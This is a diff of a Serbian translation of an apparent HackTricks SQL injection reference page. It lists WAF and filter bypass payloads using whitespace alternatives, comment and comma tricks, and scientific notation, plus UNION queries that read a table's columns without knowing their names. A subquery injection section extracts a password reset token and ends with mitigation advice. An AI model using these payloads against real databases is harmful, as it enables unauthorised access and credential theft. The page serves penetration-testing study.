No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
|
||||
No Space (%20) - bypass koristeći whitespace alternative
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -491,31 +520,31 @@ No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
No Whitespace - zaobilaženje korišćenjem komentara
|
||||
Nema razmaka - bypass koristeći komentare
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
No Whitespace - zaobilaženje korišćenjem zagrada
|
||||
No Whitespace - bypass korišćenjem zagrada
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### No commas bypass
|
||||
|
||||
No Comma - zaobilaženje korišćenjem OFFSET, FROM i JOIN
|
||||
No Comma - bypass using OFFSET, FROM and JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generic Bypasses
|
||||
### Generička zaobilaženja
|
||||
|
||||
Crna lista koristeći ključne reči - zaobići koristeći velika/mala slova
|
||||
Crna lista koristeći ključne reči - zaobilaženje koristeći velika/mala slova
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Blacklist koristeći ključne reči bez obzira na velika i mala slova - zaobići koristeći ekvivalentni operator
|
||||
Blacklist koji koristi ključne reči bez obzira na velika/mala slova - zaobilaženje korišćenjem ekvivalentnog operatora
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -525,28 +554,55 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### Scientific Notation WAF bypass
|
||||
|
||||
Možete pronaći detaljnije objašnjenje ove trik u [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
U suštini, možete koristiti naučnu notaciju na neočekivane načine kako biste zaobišli WAF:
|
||||
Detaljnije objašnjenje ovog trika možete pronaći na [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
U suštini, možete koristiti naučnu notaciju na neočekivane načine da biste zaobišli WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
### Zaobilaženje ograničenja imena kolona
|
||||
|
||||
Prvo, primetite da ako **originalni upit i tabela iz koje želite da izvučete zastavicu imaju isti broj kolona** možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
Prvo, primetite da ako **originalni upit i tabela iz koje želite da izvučete flag imaju isti broj kolona** možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Moguće je **pristupiti trećoj koloni tabele bez korišćenja njenog imena** koristeći upit poput sledećeg: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, tako da bi u sqlinjection ovo izgledalo ovako:
|
||||
Moguće je **pristupiti trećoj koloni tabele bez korišćenja njenog imena** koristeći upit kao sledeći: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, tako da bi u sqlinjection ovo izgledalo ovako:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
Ili korišćenjem **comma bypass**:
|
||||
Ili koristeći **comma bypass**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Ova trik je preuzet sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
Ovaj trik je preuzet sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Column/tablename injection in SELECT list via subqueries
|
||||
|
||||
Ako se korisnički unos konkatenira u SELECT listu ili u identifikatore tabela/kolona, prepared statements neće pomoći zato što bind parameters štite samo vrednosti, a ne identifikatore. Čest ranjiv obrazac je:
|
||||
```php
|
||||
// Pseudocode
|
||||
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
|
||||
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
|
||||
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
|
||||
$stmt = $db->pquery($q, [$rec_id]);
|
||||
```
|
||||
Ideja za eksploataciju: inject a subquery into the field position to exfiltrate arbitrary data:
|
||||
```sql
|
||||
-- Legit
|
||||
SELECT user_name FROM vte_users WHERE id=1;
|
||||
|
||||
-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||||
```
|
||||
Napomene:
|
||||
- Ovo funkcioniše čak i kada WHERE clause koristi bound parameter, jer je lista identifikatora i dalje konkatenirana kao string.
|
||||
- Neki stackovi dodatno omogućavaju kontrolu imena tabele (tablename injection), omogućavajući čitanje podataka iz više tabela.
|
||||
- Output sinks mogu da reflektuju izabranu vrednost u HTML/JSON, čime se omogućava XSS ili token exfiltration direktno iz odgovora.
|
||||
|
||||
Mitigacije:
|
||||
- Nikada ne konkatenirajte identifikatore iz korisničkog inputa. Mapirajte dozvoljena imena kolona na fiksnu allow-listu i pravilno quote-ujte identifikatore.
|
||||
- Ako je potreban dinamički pristup tabelama, ograničite ga na konačan skup i rešavajte na serverskoj strani pomoću bezbednog mapiranja.
|
||||
|
||||
### WAF bypass suggester tools
|
||||
|
||||
@ -560,12 +616,15 @@ https://github.com/m4ll0k/Atlas
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Lista za detekciju Brute-Force-a
|
||||
## Brute-Force lista za detekciju
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user